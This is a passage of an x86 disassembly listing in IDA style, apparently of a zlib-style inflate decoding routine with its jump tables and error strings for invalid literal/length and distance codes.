mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp short loc_4C6261
; ---------------------------------------------------------------------------
loc_4C625C: ; CODE XREF: sub_4C4F0F:loc_4C521Ej
; sub_4C4F0F+492j ...
jmp loc_4C4F6F
; ---------------------------------------------------------------------------
loc_4C6261: ; CODE XREF: sub_4C4F0F+67j
; sub_4C4F0F+F8j ...
mov esp, ebp
pop ebp
retn
sub_4C4F0F endp
; ---------------------------------------------------------------------------
off_4C6265 dd offset loc_4C4F98 ; DATA XREF: sub_4C4F0F+82r
dd offset loc_4C5223
dd offset loc_4C53A6
dd offset loc_4C560B
dd offset loc_4C581A
dd offset loc_4C5A2B
dd offset loc_4C5F67
dd offset loc_4C6073
dd offset loc_4C613C
dd offset loc_4C619E
off_4C628D dd offset loc_4C5071 ; DATA XREF: sub_4C4F0F+15Br
dd offset loc_4C50AE
dd offset loc_4C5177
dd offset loc_4C5197
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C629D proc near ; CODE XREF: sub_4C098B+3Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C4D60
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
pop ebp
retn
sub_4C629D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4C62F8(int,void *Src,size_t Size)
sub_4C62F8 proc near ; CODE XREF: .text:004C12EAp
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
add edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov [eax+34h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ecx+30h], eax
pop ebp
retn
sub_4C62F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C632F proc near ; CODE XREF: .text:004C1485p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
cmp dword ptr [eax], 1
setz cl
mov eax, ecx
pop ebp
retn
sub_4C632F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C6350 proc near ; CODE XREF: sub_4C4F0F+1CFp
; sub_4C4F0F+FBCp
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 1Ch
push 1
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4C639E
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dl, [ebp+arg_0]
mov [ecx+10h], dl
mov eax, [ebp+var_4]
mov cl, [ebp+arg_4]
mov [eax+11h], cl
mov edx, [ebp+var_4]
mov eax, [ebp+arg_8]
mov [edx+14h], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [ecx+18h], edx
loc_4C639E: ; CODE XREF: sub_4C6350+1Fj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4C6350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C63A5 proc near ; CODE XREF: sub_4C4F0F+10A6p
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_4C63FC
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_30], eax
jmp short loc_4C6408
; ---------------------------------------------------------------------------
loc_4C63FC: ; CODE XREF: sub_4C63A5+44j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_30], edx
loc_4C6408: ; CODE XREF: sub_4C63A5+55j
mov eax, [ebp+var_30]
mov [ebp+var_28], eax
loc_4C640E: ; CODE XREF: sub_4C63A5:loc_4C70C8j
mov ecx, 1
test ecx, ecx
jz loc_4C70CD
mov edx, [ebp+var_10]
mov eax, [edx]
mov [ebp+var_34], eax
cmp [ebp+var_34], 9
ja loc_4C7069
mov ecx, [ebp+var_34]
jmp ds:off_4C70D1[ecx*4]
loc_4C6437: ; DATA XREF: .text:off_4C70D1o
cmp [ebp+var_28], 102h
jb loc_4C653D
cmp [ebp+var_2C], 0Ah
jb loc_4C653D
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx+11h]
push eax
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+10h]
push edx
call sub_4C7E30
add esp, 18h
mov [ebp+arg_8], eax
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+4]
mov [ebp+var_2C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_4C650B
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_38], ecx
jmp short loc_4C6517
; ---------------------------------------------------------------------------
loc_4C650B: ; CODE XREF: sub_4C63A5+153j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_38], eax
loc_4C6517: ; CODE XREF: sub_4C63A5+164j
mov ecx, [ebp+var_38]
mov [ebp+var_28], ecx
cmp [ebp+arg_8], 0
jz short loc_4C653D
mov edx, [ebp+arg_8]
sub edx, 1
neg edx
sbb edx, edx
and edx, 2
add edx, 7
mov eax, [ebp+var_10]
mov [eax], edx
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C653D: ; CODE XREF: sub_4C63A5+99j
; sub_4C63A5+A3j ...
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+10h]
mov eax, [ebp+var_10]
mov [eax+0Ch], edx
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
mov eax, [edx+14h]
mov [ecx+8], eax
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 1
loc_4C6560: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70D5o
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_20], eax
loc_4C6569: ; CODE XREF: sub_4C63A5+26Bj
mov ecx, [ebp+var_24]
cmp ecx, [ebp+var_20]
jnb loc_4C6615
cmp [ebp+var_2C], 0
jz short loc_4C6584
mov [ebp+arg_8], 0
jmp short loc_4C65DF
; ---------------------------------------------------------------------------
loc_4C6584: ; CODE XREF: sub_4C63A5+1D4j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_2C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C65DF: ; CODE XREF: sub_4C63A5+1DDj
mov edx, [ebp+var_2C]
sub edx, 1
mov [ebp+var_2C], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_24]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_24]
add edx, 8
mov [ebp+var_24], edx
jmp loc_4C6569
; ---------------------------------------------------------------------------
loc_4C6615: ; CODE XREF: sub_4C63A5+1CAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_C]
and ecx, dword_4EF200[eax*4]
mov edx, [ebp+var_10]
mov eax, [edx+8]
lea ecx, [eax+ecx*8]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
cmp [ebp+var_18], 0
jnz short loc_4C667A
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 6
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C667A: ; CODE XREF: sub_4C63A5+2B9j
mov eax, [ebp+var_18]
and eax, 10h
test eax, eax
jz short loc_4C66AA
mov ecx, [ebp+var_18]
and ecx, 0Fh
mov edx, [ebp+var_10]
mov [edx+8], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_10]
mov dword ptr [eax], 2
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C66AA: ; CODE XREF: sub_4C63A5+2DDj
mov ecx, [ebp+var_18]
and ecx, 40h
test ecx, ecx
jnz short loc_4C66D4
mov edx, [ebp+var_10]
mov eax, [ebp+var_18]
mov [edx+0Ch], eax
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov eax, [ebp+var_14]
lea ecx, [eax+edx*8]
mov edx, [ebp+var_10]
mov [edx+8], ecx
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C66D4: ; CODE XREF: sub_4C63A5+30Dj
mov eax, [ebp+var_18]
and eax, 20h
test eax, eax
jz short loc_4C66EC
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 7
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C66EC: ; CODE XREF: sub_4C63A5+337j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6761: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70D9o
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_4C676A: ; CODE XREF: sub_4C63A5+46Aj
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_4C6814
cmp [ebp+var_2C], 0
jz short loc_4C6785
mov [ebp+arg_8], 0
jmp short loc_4C67E0
; ---------------------------------------------------------------------------
loc_4C6785: ; CODE XREF: sub_4C63A5+3D5j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C67E0: ; CODE XREF: sub_4C63A5+3DEj
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_4C676A
; ---------------------------------------------------------------------------
loc_4C6814: ; CODE XREF: sub_4C63A5+3CBj
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4EF200[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+4]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+4], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx+11h]
mov ecx, [ebp+var_10]
mov [ecx+0Ch], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_10]
mov ecx, [eax+18h]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 3
loc_4C6866: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70DDo
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
mov [ebp+var_20], ecx
loc_4C686F: ; CODE XREF: sub_4C63A5+56Fj
mov edx, [ebp+var_24]
cmp edx, [ebp+var_20]
jnb loc_4C6919
cmp [ebp+var_2C], 0
jz short loc_4C688A
mov [ebp+arg_8], 0
jmp short loc_4C68E5
; ---------------------------------------------------------------------------
loc_4C688A: ; CODE XREF: sub_4C63A5+4DAj
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C68E5: ; CODE XREF: sub_4C63A5+4E3j
mov eax, [ebp+var_2C]
sub eax, 1
mov [ebp+var_2C], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_24]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_24]
add edx, 8
mov [ebp+var_24], edx
jmp loc_4C686F
; ---------------------------------------------------------------------------
loc_4C6919: ; CODE XREF: sub_4C63A5+4D0j
mov eax, [ebp+var_20]
mov ecx, [ebp+var_C]
and ecx, dword_4EF200[eax*4]
mov edx, [ebp+var_10]
mov eax, [edx+8]
lea ecx, [eax+ecx*8]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
and edx, 10h
test edx, edx
jz short loc_4C698E
mov eax, [ebp+var_18]
and eax, 0Fh
mov ecx, [ebp+var_10]
mov [ecx+8], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+0Ch], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 4
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C698E: ; CODE XREF: sub_4C63A5+5C1j
mov eax, [ebp+var_18]
and eax, 40h
test eax, eax
jnz short loc_4C69B8
mov ecx, [ebp+var_10]
mov edx, [ebp+var_18]
mov [ecx+0Ch], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
lea eax, [edx+ecx*8]
mov ecx, [ebp+var_10]
mov [ecx+8], eax
jmp loc_4C70C8
; ---------------------------------------------------------------------------
loc_4C69B8: ; CODE XREF: sub_4C63A5+5F1j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6A2D: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70E1o
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_4C6A36: ; CODE XREF: sub_4C63A5+736j
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_4C6AE0
cmp [ebp+var_2C], 0
jz short loc_4C6A51
mov [ebp+arg_8], 0
jmp short loc_4C6AAC
; ---------------------------------------------------------------------------
loc_4C6A51: ; CODE XREF: sub_4C63A5+6A1j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C70CD
; ---------------------------------------------------------------------------
loc_4C6AAC: ; CODE XREF: sub_4C63A5+6AAj
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_4C6A36
; ---------------------------------------------------------------------------
loc_4C6AE0: ; CODE XREF: sub_4C63A5+697j
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4EF200[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+0Ch], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 5
loc_4C6B18: ; CODE XREF: sub_4C63A5+8Bj
; DATA XREF: .text:004C70E5o
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
sub ecx, [eax+0Ch]
mov [ebp+var_1C], ecx
loc_4C6B24: ; CODE XREF: sub_4C63A5+79Ej
mov edx, [ebp+arg_0]
mov eax, [ebp+var_1C]
cmp eax, [edx+28h]
jnb short loc_4C6B45
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+2Ch]
sub eax, [edx+28h]
mov ecx, [ebp+var_1C]
add ecx, eax
mov [ebp+var_1C], ecx
jmp short loc_4C6B24
; ---------------------------------------------------------------------------
loc_4C6B45: ; CODE XREF: sub_4C63A5+788j
; sub_4C63A5+968j
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 0
jz loc_4C6D12
cmp [ebp+var_28], 0
jnz loc_4C6CBE
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+2Ch]
jnz short loc_4C6BAC
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+28h]
jz short loc_4C6BAC
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_4C6B9A
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_3C], ecx
jmp short loc_4C6BA6
; ---------------------------------------------------------------------------
loc_4C6B9A: ; CODE XREF: sub_4C63A5+7E2j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_3C], eax
loc_4C6BA6: ; CODE XREF: sub_4C63A5+7F3j
mov ecx, [ebp+var_3C]
mov [ebp+var_28], ecx
loc_4C6BAC: ; CODE XREF: sub_4C63A5+7C0j
; sub_4C63A5+7CEj
cmp [ebp+var_28], 0
jnz loc_4C6CBE
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_4C6BFB
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_40], eax
jmp short loc_4C6C07
; ---------------------------------------------------------------------------
loc_4C6BFB: ; CODE XREF: sub_4C63A5+843j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_40], edx
loc_4C6C07: ; CODE XREF: sub_4C63A5+854j
mov eax, [ebp+var_40]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_4C6C5D
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_4C6C5D
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_4C6C4B
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_44], edx
jmp short loc_4C6C57
; ---------------------------------------------------------------------------
loc_4C6C4B: ; CODE XREF: sub_4C63A5+893j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_44], ecx
loc_4C6C57: ; CODE XREF: sub_4C63A5+8A4j
mov edx, [ebp+var_44]
mov [ebp+var_28], edx
loc_4C6C5D: ; CODE XREF: sub_4C63A5+871j
; sub_4C63A5+87Fj
cmp [ebp+var_28], 0
jnz short loc_4C6CBE
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
